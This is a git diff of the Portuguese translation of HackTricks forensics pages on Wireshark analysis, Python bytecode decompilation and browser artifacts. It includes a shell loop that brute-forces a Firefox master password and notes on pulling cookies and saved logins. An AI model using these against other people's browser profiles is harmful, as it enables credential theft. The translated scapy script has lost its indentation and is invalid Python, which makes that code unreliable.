-Em _**Estatísticas --> Endereços resolvidos**_ você pode encontrar várias **informações** que foram "**resolvidas**" pelo wireshark, como porta/transporte para protocolo, MAC para o fabricante, etc. É interessante saber o que está implicado na comunicação.
+Em _**Statistics --> Resolved Addresses**_ você pode encontrar várias **informações** que foram "**resolvidas**" pelo Wireshark, como porta/transporte para protocolo, MAC para o fabricante, etc. É interessante saber o que está implicado na comunicação.
![](<../../../.gitbook/assets/image (571).png>)
-**Hierarquia de protocolo**
+**Hierarquia de Protocolos**
-Em _**Estatísticas --> Hierarquia de protocolo**_ você pode encontrar os **protocolos** **envolvidos** na comunicação e dados sobre eles.
+Em _**Statistics --> Protocol Hierarchy**_ você pode encontrar os **protocolos** **envolvidos** na comunicação e dados sobre eles.
![](<../../../.gitbook/assets/image (572).png>)
**Conversas**
-Em _**Estatísticas --> Conversas**_ você pode encontrar um **resumo das conversas** na comunicação e dados sobre elas.
+Em _**Statistics --> Conversations**_ você pode encontrar um **resumo das conversas** na comunicação e dados sobre elas.
![](<../../../.gitbook/assets/image (573).png>)
-**Pontos finais**
+**Pontos Finais**
-Em _**Estatísticas --> Pontos finais**_ você pode encontrar um **resumo dos pontos finais** na comunicação e dados sobre cada um deles.
+Em _**Statistics --> Endpoints**_ você pode encontrar um **resumo dos pontos finais** na comunicação e dados sobre cada um deles.
![](<../../../.gitbook/assets/image (575).png>)
**Informações DNS**
-Em _**Estatísticas --> DNS**_ você pode encontrar estatísticas sobre a solicitação DNS capturada.
+Em _**Statistics --> DNS**_ você pode encontrar estatísticas sobre as solicitações DNS capturadas.
![](<../../../.gitbook/assets/image (577).png>)
-**Gráfico de E/S**
+**Gráfico I/O**
-Em _**Estatísticas --> Gráfico de E/S**_ você pode encontrar um **gráfico da comunicação**.
+Em _**Statistics --> I/O Graph**_ você pode encontrar um **gráfico da comunicação.**
![](<../../../.gitbook/assets/image (574).png>)
### Filtros
-Aqui você pode encontrar filtros do wireshark dependendo do protocolo: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
+Aqui você pode encontrar filtros do Wireshark dependendo do protocolo: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Outros filtros interessantes:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
- * Tráfego HTTP e HTTPS inicial
+* Tráfego HTTP e HTTPS inicial
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
- * Tráfego HTTP e HTTPS inicial + TCP SYN
+* Tráfego HTTP e HTTPS inicial + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
- * Tráfego HTTP e HTTPS inicial + TCP SYN + solicitações DNS
+* Tráfego HTTP e HTTPS inicial + TCP SYN + solicitações DNS
-### Busca
+### Pesquisa
-Se você quiser **procurar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principais (No., Hora, Origem, etc.) pressionando o botão direito e depois a edição da coluna.
+Se você quer **pesquisar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principais (No., Time, Source, etc.) clicando com o botão direito e depois em editar coluna.
Prática: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)
@@ -93,7 +95,7 @@ Você pode adicionar uma coluna que mostra o cabeçalho Host HTTP:
![](<../../../.gitbook/assets/image (403).png>)
-E uma coluna que adiciona o nome do servidor de uma conexão HTTPS iniciada (**ssl.handshake.type == 1**):
+E uma coluna que adiciona o nome do servidor de uma conexão HTTPS iniciante (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>)
@@ -113,22 +115,22 @@ No Wireshark atual, em vez de `bootp`, você precisa procurar por `DHCP`
### Descriptografando tráfego https com chave privada do servidor
-_editar>preferência>protocolo>ssl>_
+_edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (98).png>)
-Pressione _Editar_ e adicione todos os dados do servidor e a chave privada (_IP, Porta, Protocolo, Arquivo de chave e senha_)
+Pressione _Edit_ e adicione todos os dados do servidor e a chave privada (_IP, Port, Protocol, Key file e password_)
### Descriptografando tráfego https com chaves de sessão simétricas
-Acontece que o Firefox e o Chrome suportam o registro da chave de sessão simétrica usada para criptografar o tráfego TLS em um arquivo. Você pode então apontar o Wireshark para o referido arquivo e pronto! tráfego TLS descriptografado. Mais em: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\
-Para detectar isso, procure dentro do ambiente pela variável `SSLKEYLOGFILE`
+Acontece que o Firefox e o Chrome ambos suportam o registro da chave de sessão simétrica usada para criptografar o tráfego TLS em um arquivo. Você pode então apontar o Wireshark para esse arquivo e pronto! tráfego TLS descriptografado. Mais em: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\
+Para detectar isso, procure no ambiente pela variável `SSLKEYLOGFILE`
-Um arquivo de chaves compartilhadas parecerá com isso:
+Um arquivo de chaves compartilhadas terá esta aparência:
![](<../../../.gitbook/assets/image (99).png>)
-Para importar isso no wireshark, vá para \_editar > preferência > protocolo > ssl > e importe-o em (Pre)-Master-Secret log filename:
+Para importar isso no Wireshark, vá para _edit > preference > protocol > ssl > e importe-o em (Pre)-Master-Secret log filename:
![](<../../../.gitbook/assets/image (100).png>)
@@ -141,20 +143,20 @@ from scapy.all import *
pcap = rdpcap("final2.pcapng")
def rm_data(data):
- splitted = data.split(b"DATA")
- if len(splitted) == 1:
- return data
- else:
- return splitted[0]+splitted[1][4:]
+splitted = data.split(b"DATA")
+if len(splitted) == 1:
+return data
+else:
+return splitted[0]+splitted[1][4:]
all_bytes = b""
for pkt in pcap:
- if Raw in pkt:
- a = pkt[Raw]
- if b"WRTE" == bytes(a)[:4]:
- all_bytes += rm_data(bytes(a)[24:])
- else:
- all_bytes += rm_data(bytes(a))
+if Raw in pkt:
+a = pkt[Raw]
+if b"WRTE" == bytes(a)[:4]:
+all_bytes += rm_data(bytes(a)[24:])
+else:
+all_bytes += rm_data(bytes(a))
print(all_bytes)
f = open('all_bytes.data', 'w+b')
@@ -163,12 +165,14 @@ f.close()
```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index 0365b1c11..322c0c645 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -2,19 +2,21 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
-
+
-Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -70,7 +72,7 @@ O **número mágico** neste caso para python3.8 é **`0x550d0d0a`**, então, par
**Uma vez** que você tenha **adicionado** esse cabeçalho mágico, o **erro deve ser corrigido.**
-É assim que um cabeçalho mágico **.pyc python3.8** corretamente adicionado deve parecer:
+É assim que um **cabeçalho mágico .pyc python3.8** corretamente adicionado deve parecer:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -82,7 +84,7 @@ hexdump 'binary.pyc' | head
**Outros erros** como: `class 'AssertionError'>; co_code deve ser um dos tipos (, , , ); é do tipo ` podem aparecer.
-Isso provavelmente significa que você **não adicionou corretamente** o número mágico ou que você não **usou** o **número mágico correto**, então **certifique-se de usar o correto** (ou tente um novo).
+Isso provavelmente significa que você **não adicionou corretamente** o número mágico ou que você não **usou** o **número mágico correto**, então certifique-se de **usar o correto** (ou tente um novo).
Verifique a documentação de erros anterior.
@@ -94,7 +96,7 @@ Várias regras YARA estão disponíveis para determinar se o executável é escr
### ImportError: Nome do arquivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' não existe
-Atualmente, com unpy2exe ou pyinstxtractor o arquivo de bytecode Python que obtemos pode não estar completo e, por sua vez, **não pode ser reconhecido pelo uncompyle6 para obter o código-fonte Python simples**. Isso é causado pela falta de um número de versão do bytecode Python. Portanto, incluímos uma opção de prepend; isso incluirá um número de versão do bytecode Python nele e ajudará a facilitar o processo de decompilação. Quando tentamos usar uncompyle6 para decompilar o arquivo .pyc, ele retorna um erro. No entanto, **uma vez que usamos a opção de prepend, podemos ver que o código-fonte Python foi decompilado com sucesso**.
+Atualmente, com unpy2exe ou pyinstxtractor, o arquivo de bytecode Python que obtemos pode não estar completo e, por sua vez, **não pode ser reconhecido pelo uncompyle6 para obter o código-fonte Python simples**. Isso é causado pela falta de um número de versão do bytecode Python. Portanto, incluímos uma opção de prepend; isso incluirá um número de versão do bytecode Python nele e ajudará a facilitar o processo de decompilação. Quando tentamos usar uncompyle6 para decompilar o arquivo .pyc, ele retorna um erro. No entanto, **uma vez que usamos a opção de prepend, podemos ver que o código-fonte Python foi decompilado com sucesso**.
```
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
@@ -110,9 +112,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
-## Analisando assembly Python
+## Analisando assembly python
-Se você não conseguiu extrair o código "original" Python seguindo os passos anteriores, então você pode tentar **extrair** o **assembly** (mas **não é muito descritivo**, então **tente** extrair **novamente** o código original). [Aqui](https://bits.theorem.co/protecting-a-python-codebase/) eu encontrei um código muito simples para **desmontar** o binário _.pyc_ (boa sorte entendendo o fluxo do código). Se o _.pyc_ for do python2, use python2:
+Se você não conseguiu extrair o código "original" python seguindo os passos anteriores, então você pode tentar **extrair** o **assembly** (mas **não é muito descritivo**, então **tente** extrair **novamente** o código original). Neste [link](https://bits.theorem.co/protecting-a-python-codebase/) eu encontrei um código muito simples para **desmontar** o binário _.pyc_ (boa sorte entendendo o fluxo do código). Se o _.pyc_ for do python2, use python2:
```bash
>>> import dis
>>> import marshal
@@ -194,7 +196,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
### Para criar um payload usando PyInstaller:
1. Instale o PyInstaller usando pip (pip install pyinstaller).
-2. Em seguida, emitiremos o comando “pyinstaller --onefile hello.py” (lembrando que 'hello.py' é nosso payload). Isso irá agrupar tudo em um executável único.
+2. Em seguida, emitiremos o comando “pyinstaller --onefile hello.py” (lembrando que 'hello.py' é nosso payload). Isso irá agrupar tudo em um executável.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@@ -211,20 +213,22 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
-
+
-Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário fluência em polonês escrito e falado_).
+Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado exigida_).
{% embed url="https://www.stmcyber.com/careers" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index 0dc23743b..f15cc6f85 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,63 +1,65 @@
-# Artefatos do Navegador
+# Artefatos de Navegador
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Artefatos dos Navegadores
+## Artefatos de Navegadores
-Quando falamos sobre artefatos dos navegadores, estamos nos referindo ao histórico de navegação, favoritos, lista de arquivos baixados, dados em cache, etc.
+Quando falamos sobre artefatos de navegadores, nos referimos a histórico de navegação, favoritos, lista de arquivos baixados, dados de cache, etc.
Esses artefatos são arquivos armazenados em pastas específicas no sistema operacional.
-Cada navegador armazena seus arquivos em um local diferente dos outros navegadores e todos eles têm nomes diferentes, mas geralmente armazenam o mesmo tipo de dados (artefatos).
+Cada navegador armazena seus arquivos em um local diferente dos outros navegadores e todos têm nomes diferentes, mas todos armazenam (na maioria das vezes) o mesmo tipo de dados (artefatos).
Vamos dar uma olhada nos artefatos mais comuns armazenados pelos navegadores.
* **Histórico de Navegação:** Contém dados sobre o histórico de navegação do usuário. Pode ser usado para rastrear se o usuário visitou alguns sites maliciosos, por exemplo.
-* **Dados de Autocompletar:** Esses são os dados que o navegador sugere com base no que você mais pesquisa. Pode ser usado em conjunto com o histórico de navegação para obter mais informações.
+* **Dados de Autocompletar:** São os dados que o navegador sugere com base no que você pesquisa mais. Pode ser usado em conjunto com o histórico de navegação para obter mais informações.
* **Favoritos:** Autoexplicativo.
-* **Extensões e Complementos:** Autoexplicativo.
-* **Cache:** Ao navegar em sites, o navegador cria todos os tipos de dados em cache (imagens, arquivos JavaScript, etc.) por muitas razões. Por exemplo, para acelerar o tempo de carregamento dos sites. Esses arquivos em cache podem ser uma ótima fonte de dados durante uma investigação forense.
+* **Extensões e Add-ons:** Autoexplicativo.
+* **Cache:** Ao navegar em sites, o navegador cria todos os tipos de dados de cache (imagens, arquivos javascript... etc) por vários motivos. Por exemplo, para acelerar o tempo de carregamento dos sites. Esses arquivos de cache podem ser uma grande fonte de dados durante uma investigação forense.
* **Logins:** Autoexplicativo.
-* **Favicons:** São os pequenos ícones encontrados em guias, URLs, favoritos e outros. Eles podem ser usados como outra fonte para obter mais informações sobre o site ou os lugares visitados pelo usuário.
+* **Favicons:** São os pequenos ícones encontrados em abas, URLs, favoritos e similares. Podem ser usados como outra fonte para obter mais informações sobre o site ou locais visitados pelo usuário.
* **Sessões do Navegador:** Autoexplicativo.
-* **Downloads**: Autoexplicativo.
-* **Dados de Formulário:** Tudo o que é digitado em formulários geralmente é armazenado pelo navegador, para que da próxima vez que o usuário digitar algo em um formulário, o navegador possa sugerir dados inseridos anteriormente.
+* **Downloads:** Autoexplicativo.
+* **Dados de Formulário:** Qualquer coisa digitada dentro de formulários é frequentemente armazenada pelo navegador, então na próxima vez que o usuário digitar algo em um formulário, o navegador pode sugerir dados previamente inseridos.
* **Miniaturas:** Autoexplicativo.
* **Custom Dictionary.txt**: Palavras adicionadas ao dicionário pelo usuário.
## Firefox
O Firefox cria a pasta de perfis em \~/_**.mozilla/firefox/**_ (Linux), em **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\
-Dentro desta pasta, o arquivo _**profiles.ini**_ deve aparecer com o nome(s) do(s) perfil(s) do usuário.\
+Dentro desta pasta, o arquivo _**profiles.ini**_ deve aparecer com o(s) nome(s) do(s) perfil(is) do usuário.\
Cada perfil tem uma variável "**Path**" com o nome da pasta onde seus dados serão armazenados. A pasta deve estar **presente no mesmo diretório onde o \_profiles.ini**\_\*\* existe\*\*. Se não estiver, provavelmente foi excluída.
-Dentro da pasta **de cada perfil** (_\~/.mozilla/firefox/\/_) você deve ser capaz de encontrar os seguintes arquivos interessantes:
+Dentro da pasta **de cada perfil** (_\~/.mozilla/firefox/\/_) você deve ser capaz de encontrar os seguintes arquivos interessantes:
-* _**places.sqlite**_ : Histórico (moz\_\_places), favoritos (moz\_bookmarks) e downloads (moz\_\_annos). No Windows, a ferramenta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) pode ser usada para ler o histórico dentro do arquivo _**places.sqlite**_.
-* Consulta para extrair o histórico: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;`
-* Observe que o tipo de link é um número que indica:
+* _**places.sqlite**_ : Histórico (moz_places), favoritos (moz_bookmarks) e downloads (moz_annos). No Windows, a ferramenta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) pode ser usada para ler o histórico dentro de _**places.sqlite**_.
+* Consulta para extrair histórico: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;`
+* Observe que um tipo de link é um número que indica:
* 1: Usuário seguiu um link
* 2: Usuário digitou a URL
* 3: Usuário usou um favorito
-* 4: Carregado de um Iframe
+* 4: Carregado de Iframe
* 5: Acessado via redirecionamento HTTP 301
* 6: Acessado via redirecionamento HTTP 302
* 7: Arquivo baixado
@@ -65,26 +67,26 @@ Dentro da pasta **de cada perfil** (_\~/.mozilla/firefox/\/_) voc
* Consulta para extrair downloads: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;`
*
* _**bookmarkbackups/**_ : Backups de favoritos
-* _**formhistory.sqlite**_ : **Dados de formulário da web** (como e-mails)
+* _**formhistory.sqlite**_ : **Dados de formulários web** (como e-mails)
* _**handlers.json**_ : Manipuladores de protocolo (como, qual aplicativo vai lidar com o protocolo _mailto://_)
* _**persdict.dat**_ : Palavras adicionadas ao dicionário
-* _**addons.json**_ e \_**extensions.sqlite** \_ : Complementos e extensões instalados
-* _**cookies.sqlite**_ : Contém **cookies**. O [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) pode ser usado no Windows para inspecionar este arquivo.
-* _**cache2/entries**_ ou _**startupCache**_ : Dados em cache (\~350MB). Truques como **data carving** também podem ser usados para obter os arquivos salvos em cache. O [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) pode ser usado para ver os **arquivos salvos em cache**.
+* _**addons.json**_ e _**extensions.sqlite**_ : Addons e extensões instalados
+* _**cookies.sqlite**_ : Contém **cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) pode ser usado no Windows para inspecionar este arquivo.
+* _**cache2/entries**_ ou _**startupCache**_ : Dados de cache (\~350MB). Técnicas como **data carving** também podem ser usadas para obter os arquivos salvos no cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) pode ser usado para ver os **arquivos salvos no cache**.
Informações que podem ser obtidas:
-* URL, Contagem de busca, Nome do arquivo, Tipo de conteúdo, Tamanho do arquivo, Última modificação, Última busca, Última modificação do servidor, Resposta do servidor
+* URL, Contagem de Buscas, Nome do Arquivo, Tipo de Conteúdo, Tamanho do Arquivo, Última Modificação, Última Busca, Última Modificação do Servidor, Resposta do Servidor
* _**favicons.sqlite**_ : Favicons
* _**prefs.js**_ : Configurações e Preferências
-* _**downloads.sqlite**_ : Banco de dados antigo de downloads (agora está dentro de places.sqlite)
+* _**downloads.sqlite**_ : Antigo banco de dados de downloads (agora está dentro de places.sqlite)
* _**thumbnails/**_ : Miniaturas
* _**logins.json**_ : Nomes de usuário e senhas criptografados
-* **Anti-phishing integrado no navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
-* Retornará "safebrowsing.malware.enabled" e "phishing.enabled" como falso se as configurações de pesquisa segura tiverem sido desativadas
+* **Proteção anti-phishing integrada do navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
+* Retornará “safebrowsing.malware.enabled” e “phishing.enabled” como falso se as configurações de pesquisa segura estiverem desativadas
* _**key4.db**_ ou _**key3.db**_ : Chave mestra?
-Para tentar descriptografar a senha mestra, você pode usar [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
+Para tentar descriptografar a senha mestra, você pode usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Com o seguinte script e chamada, você pode especificar um arquivo de senha para força bruta:
{% code title="brute.sh" %}
@@ -98,59 +100,60 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
+```markdown
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome
-O Google Chrome cria o perfil dentro da pasta do usuário _**\~/.config/google-chrome/**_ (Linux), em _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou em \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS).\
+O Google Chrome cria o perfil dentro do diretório do usuário _**\~/.config/google-chrome/**_ (Linux), em _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou em _**/Users/$USER/Library/Application Support/Google/Chrome/**_ (MacOS).
A maioria das informações será salva dentro das pastas _**Default/**_ ou _**ChromeDefaultData/**_ nos caminhos indicados anteriormente. Aqui você pode encontrar os seguintes arquivos interessantes:
